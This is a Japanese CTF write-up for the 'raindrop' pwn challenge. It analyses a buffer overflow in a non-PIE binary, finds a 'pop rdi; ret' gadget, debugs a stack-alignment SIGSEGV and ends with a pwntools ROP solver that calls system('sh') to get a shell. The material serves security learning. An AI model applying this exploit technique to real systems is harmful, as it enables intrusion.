raindrop
t6o_o6t.icon
静的解析
file
一般的な実行形式
code:file
./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildIDsha1=cba1707049faf8a4e56b2adfe2b8e9813e087e12, for GNU/Linux 3.2.0, not stripped checksec
code:checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
No Canary found
バッファオーバーフローが可能
No PIE
text領域にある正規の命令は位置固定
実はタイトルに「rop」という言葉が含まれていることは知っているt6o_o6t.icon
前にWeb問にチャレンジしたとき、Writeupを読んだ際に目に入った
関数systemを呼べば良い?
Checksec上はGOT Overwriteも可能だが、任意アドレスへの書き込みができなければ難しいだろう
Return addressの書き換え
必要な引数を揃える必要がある。
方針
pop rdi
第1引数は文字列/bin/shを置いたメモリのアドレスでなければならない。
$ rp++ -f ./chall -r 1 | grep rdi
あった
code:pop_rdi.asm
0x401453: pop rdi ; ret ; (1 found)
必要なスタックの構造を考える
mainの終了時に、0x401453に ret させたい。
pop rdi時に、/bin/shを置いたアドレスがスタックのトップに存在してほしい。
vuln関数のbufのメモリ上のアドレスが分からなければならない
今回は?
show_stack関数によって、saved rbpの値が分かるようになっている
これを元に、スタックに関するアドレスを計算することができる
どう計算する?
ASLRでランダム化された状態で、bufが配置されるアドレスと、saved rbpの値をそれぞれ見てみる
あるとき、bufは0x7fffffffe190に配置された
そのとき、saved rbpの値は0x7fffffffe1b0だった
ゆえに、bufの先頭アドレスは、saved rbp - 0x20に等しい。
pop rdi後のretで、system(0x4010a0)にretさせたい。
必要な入力は..
bufの先頭: 文字列/bin/sh
bufの0x18~0x1fバイト目: アドレス0x401453
bufの0x20~0x27バイト目: saved rbp + 0x20
bufの0x28~0x2fバイト目: 0x4010a0
とりあえず、rdiに/bin/shがセットされた状態でsystem@pltからdo_systemという関数が呼び出されていることは確認できた
do_system+115まで実行したとき、SIGSEGVが発生して終了する
どのようにSIGSEGVを回避する?
do_systemの内部はよくわからない..。
とりあえず、pltを経由する必要はないかも
rbpがbufよりも下がった状態でvulnからretするから、vuln関数の古いスタックフレームとsystem関数のスタックフレームが重なってしまうのでは?
system() に ret する時点で、スタックが16バイトにアラインメントされていなければならない...?
「スタックポインタ」が16の倍数であることが必要、ということだろうか
systemの() にretしたときの rsp の値を調べてみよう
16の倍数ではなく8の倍数なのであれば、もう一個retを挟めばalignmentが完了することになるだろう
たしかに、retしたとき $rsp = 0x00007ffda8be5808だった
このretより前にもう1個retがあれば、おそらく問題を回避できる
分からなかった
もう1個余分にretを作ろうとすると、スタック領域が足らない問題がある
Writeupを読む
この記事にまとまっている。
文字列finishのshを使う方法は頭にはあったので、試すべきだった。案外簡単に成功するものである。
help内でのsystem呼び出しに飛ばす方法はまったく思いつかなかった。たしかにここに飛ばせば、スタックポインタを8バイト分調整することが可能である。
SIGSEGVが起こる
スタック上の/bin/shを使うWriteupはどれもSIGSEGVで止まる
finishのshを使う方法(作問者解)は動いたので、いったん理解したものと考える...
動いたソルバ
code:solver.py
from pwn import *
p = process("./chall")
e = ELF("./chall")
# get saved rbp
p.recvuntil(b"000002 | ")
saved_rbp = int(p.recvuntil(b' '), 16)
payload = flat(
b"\x00" * (0x10),
p64(saved_rbp),
p64(0x401453), # Return to pop rdi; ret
p64(0x4020f4), # rdi value
p64(e.symbols"help" + 15), # Return to system() call )
p.send(payload)
p.interactive()
たぶんt6o_o6t.iconの環境がコンテスト中の環境とは違う...
こういうことがあるので、ローカル環境で動かすのではなくDockerを使っていくべきである
Dockerコンテナも立てて試したが、やはり動作しなかった
t6o_o6t.iconの書いたコードや、他の方が書いたコードもいくつか試した。しかしSegmentation faultを起こしてシェルは取れない
DockerイメージをビルドするときにベースイメージがUbuntu:21.04だとビルドできなかったので、タグだけ22.04にした
それ以外の変更は加えていないので、動かないのはそれが原因だろうか